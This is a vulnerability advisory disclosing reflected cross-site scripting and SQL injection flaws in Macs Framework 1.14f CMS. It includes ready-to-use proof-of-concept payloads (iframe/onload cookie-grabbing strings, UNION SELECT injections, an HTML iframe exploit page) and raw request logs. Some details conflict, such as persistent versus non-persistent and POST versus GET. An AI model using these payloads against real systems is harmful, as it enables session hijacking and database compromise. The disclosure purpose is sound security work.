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# Title: Macs Framework 1.14f CMS - Persistent Cross-Site Scripting
# Author: Vulnerability Laboratory
# Date: 2020-04-15
# Software Link: https://sourceforge.net/projects/macs-framework/files/latest/download
# CVE: N/A

Document Title:
===============
Macs Framework v1.14f CMS - Multiple Web Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2206


Release Date:
=============
2020-04-14


Vulnerability Laboratory ID (VL-ID):
====================================
2206


Common Vulnerability Scoring System:
====================================
7.4


Vulnerability Class:
====================
Multiple


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
Macs CMS is a Flat File (XML and SQLite) based AJAX Content Management
System. It focuses mainly on the
Edit In Place editing concept. It comes with a built in blog with
moderation support, user manager section,
roles manager section, SEO / SEF URL.
https://sourceforge.net/projects/macs-framework/files/latest/download

(Copy of the Homepage: https://sourceforge.net/projects/macs-framework/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple web
vulnerabilities in the official Macs Framework v1.1.4f CMS.


Affected Product(s):
====================
Macrob7
Product: Macs Framework v1.14f - Content Management System


Vulnerability Disclosure Timeline:
==================================
2020-04-14: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Authentication Type:
====================
Restricted authentication (user/moderator) - User privileges


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Independent Security Research


Technical Details & Description:
================================
1.1 & 1.2
Multiple non-persistent cross site scripting web vulnerabilities has
been discovered in the official Mac Framework v1.1.4f Content Managament
System.
The vulnerability allows remote attackers to manipulate client-side
browser to web-applicatio requests to compromise user sesson credentials
or to
manipulate module content.

The first vulnerability is located in the search input field of the
search module. Remote attackers are able to inject own malicious script
code as
search entry to execute the code within the results page that is loaded
shortly after the request is performed. The request method to inject is
POST
and the attack vector is located on the client-side with non-persistent
attack vector.

The second vulnerability is located in the email input field of the
account reset function. Remote attackers are able to inject own
malicious script code as
email to reset the passwort to execute the code within performed
request. The request method to inject is POST and the attack vector is
located on the
client-side with non-persistent attack vector.

Successful exploitation of the vulnerabilities results in session
hijacking, non-persistent phishing attacks, non-persistent external
redirects to
malicious source and non-persistent manipulation of affected or
connected application modules.

Request Method(s):
[+] POST

Vulnerable Parameter(s):
[+] searchString
[+] emailAdress


1.3
Multiple remote sql-injection web vulnerabilities has been discovered in
the official Mac Framework v1.1.4f Content Managament System.
The vulnerability allows remote attackers to inject or execute own sql
commands to compromise the dbms or file system of the application.

The sql injection vulnerabilities are located in the `roleId` and
`userId` of the `editRole` and `deletUser` module. The request method to
inject or execute commands is GET and the attack vector is located on
the application-side. Attackers with privileged accounts to edit are
able to inject own sql queries via roleid and userid on deleteUser or
editRole. Multiple unhandled and broken sql queries are visible as default
debug to output for users as well.

Exploitation of the remote sql injection vulnerability requires no user
interaction and a privileged web-application user account.
Successful exploitation of the remote sql injection results in database
management system, web-server and web-application compromise.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] deleteUser
[+] editRole

Vulnerable Parameter(s):
[+] userId
[+] roleId


Proof of Concept (PoC):
=======================
Google Dork(s): intitle, subtitle & co.
Site Powered by Mac's PHP MVC Framework Framework of the future
Design downloaded from Zeroweb.org: Free website templates, layouts, and
tools.


1.1
The non-persistent cross site scripting web vulnerability can be
exploited by remote attackers without user account and with low user
interaction.
For security demonstration or to reproduce the cross site scripting web
vulnerability follow the provided information and steps below to continue.


PoC: Payload
>">"<iframe src=evil.source
onload=alert(document.cookie)>&scrollPosition=0&scrollPosition=0


PoC: Vulnerable Source
<form method="post"
action="https://macs-cms.localhost:8080/index.php/search" id="searchForm">
<span class="searchLabel">Search Site:</span><input type="searchString"
value="" name="searchString" class="searchString">
<input type="submit" value="Search" class="searchSubmit">
</form><br>
<span class="error">No Results found for: "<iframe src="evil.source"
onload="alert(document.cookie)"></span>


--- PoC Session Logs [POST] ---
https://macs-cms.localhost:8080/index.php/search
Host: macs-cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
Origin: https://macs-cms.localhost:8080
Authorization: Basic dGVzdGVyMjM6Y2hhb3M2NjYhISE=
Connection: keep-alive
Referer: https://macs-cms.localhost:8080/index.php
Cookie: PHPSESSID=h81eeq4jucus8p9qp146pjn652;
Upgrade-Insecure-Requests: 1
searchString=>">"<iframe src=evil.source
onload=alert(document.cookie)>&scrollPosition=0&scrollPosition=0
-
POST: HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Server: Microsoft-IIS/8.5
X-Powered-By: ASP.NET
X-Powered-By-Plesk: PleskWin
Content-Length: 9865


1.2
The non-persistent cross site scripting web vulnerability can be
exploited by remote attackers without user account and with low user
interaction.
For security demonstration or to reproduce the cross site scripting web
vulnerability follow the provided information and steps below to continue.


PoC: Exploitation
test"<iframe src=evil.source onload=alert(document.cookie)>@gmail.com


PoC: Vulnerable Source
<form method="post"
action="https://macs-cms.localhost:8080/index.php/main/cms/login"
class="ajax" ajaxoutput="#loginMessage">
  <table style="width:100%">
    <tbody><tr>
      <td style="width: 20px">Username:</td>
      <td><input type="text" name="username"></td>
    </tr>
    <tr>
      <td>Password:</td>
      <td><input type="password" name="password"></td>
    </tr>
    <tr>
      <td colspan="2"><input type="submit" value="Login"></td>
    </tr>
    <tr>
      <td colspan="2"><br><div id="loginMessage" style="display:
block;">Invalid Username or Password</div></td>
    </tr>
  </tbody></table>
  <br>
  <a
href="https://macs-cms.localhost:8080/index.php/main/cms/forgotPassword"
class="ajax" ajaxoutput="#forgotPassword">Forgot Password</a>
<input type="hidden" name="scrollPosition" value="102"></form>
<div id="forgotPassword" style="display: block;">
<form class="ajax" method="post"
action="https://macs-cms.localhost:8080/index.php/main/cms/forgotPasswordProcess"
ajaxoutput="#forgotPasswordReturn">
  Enter your email address: <input type="text" name="emailAddress"><br>
  <input type="submit" value="Send Email">
</form>
<br>
<div id="forgotPasswordReturn" style="display: block;">Cannot find user
with Email address:
test"<iframe src=evil.source
onload=alert(document.cookie)>@gmail.com</iframe></div>
</div>



--- PoC Session Logs [POST] ---
https://macs-cms.localhost:8080/index.php/main/cms/forgotPassword
Host: macs-cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 17
Origin: https://macs-cms.localhost:8080
Connection: keep-alive
Referer: https://macs-cms.localhost:8080/index.php/main/cms/login
Cookie: PHPSESSID=h81eeq4jucus8p9qp146pjn652;
ajaxRequest=true
-
POST: HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=ISO-8859-1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Server: Microsoft-IIS/8.5
X-Powered-By: ASP.NET
X-Powered-By-Plesk: PleskWin
Content-Length: 335
-
https://macs-cms.localhost:8080/index.php/main/cms/forgotPasswordProcess
Host: macs-cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 123
Origin: https://macs-cms.localhost:8080
Connection: keep-alive
Referer: https://macs-cms.localhost:8080/index.php/main/cms/login
Cookie: PHPSESSID=h81eeq4jucus8p9qp146pjn652;
ajaxRequest=true&=&emailAddress=test"<iframe src=evil.source
onload=alert(document.cookie)>@gmail.com
-
POST: HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=ISO-8859-1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Server: Microsoft-IIS/8.5
X-Powered-By: ASP.NET
X-Powered-By-Plesk: PleskWin
Content-Length: 105


1.3
The remote sql injection web vulnerability can be exploited by remote
attackers with privileged application user account and without user
interaction.
For security demonstration or to reproduce the cross site scripting web
vulnerability follow the provided information and steps below to continue.


PoC: Payload
%27-1%20order%20by%205--
%27-1%20union select 1,2,3,4,@@version--


PoC: Exploitation
<html>
<head><body><title>Mac's CMS SQL Injection PoC</title>
<iframe
src=https://macs-cms.localhost:8080/index.php/main/cms/editRole?roleId=%27-1%20order%20by%205--%20>
<iframe
src=https://macs-cms.localhost:8080/index.php/main/cms/editRole?roleId=%27-1%20union
select 1,2,3,4,@@version--%20>
<iframe
src=https://macs-cms.localhost:8080/index.php/main/cms/deleteUser?userId=%27-1%20order%20by%205--%20>
<iframe
src=https://macs-cms.localhost:8080/index.php/main/cms/deleteUser?userId=%27-1%20union
select 1,2,3,4,@@version--%20>
</body></head>
</html>


--- PoC Session Logs [GET] ---
https://macs-cms.localhost:8080/index.php/main/cms/editRole?roleId='-1
order by 5--
Host: macs-cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: __utma=72517782.1164807459.1586620290.1586620290.1586620290.1;
Upgrade-Insecure-Requests: 1
-
GET: HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Server: Microsoft-IIS/8.5
X-Powered-By: ASP.NET
X-Powered-By-Plesk: PleskWin
Content-Length: 53


--- [SQL Error Exception Logs] ---
SQLSTATE[HY000]: General error: 1 near "1": syntax error
-
Error executing SQL statement
SQLSTATE[HY000]: General error: 1 unrecognized token: "''';"
-
Error executing SQL statement
SQLSTATE[HY000]: General error: 1 1st ORDER BY term out of range -
should be between 1 and 5
-
5.0.12 'pwnd
This page was created in 1.5665068626404 seconds


Security Risk:
==============
1.1 & 1.2
the security risk of the client-side cross site scripting web
vulnerabilities in the search and email reset function are estimated as
medium.

1.3
The security risk of the remote sql injection web vulnerabilities in the
id parameters on delete are estimated as high.


Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


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=========================
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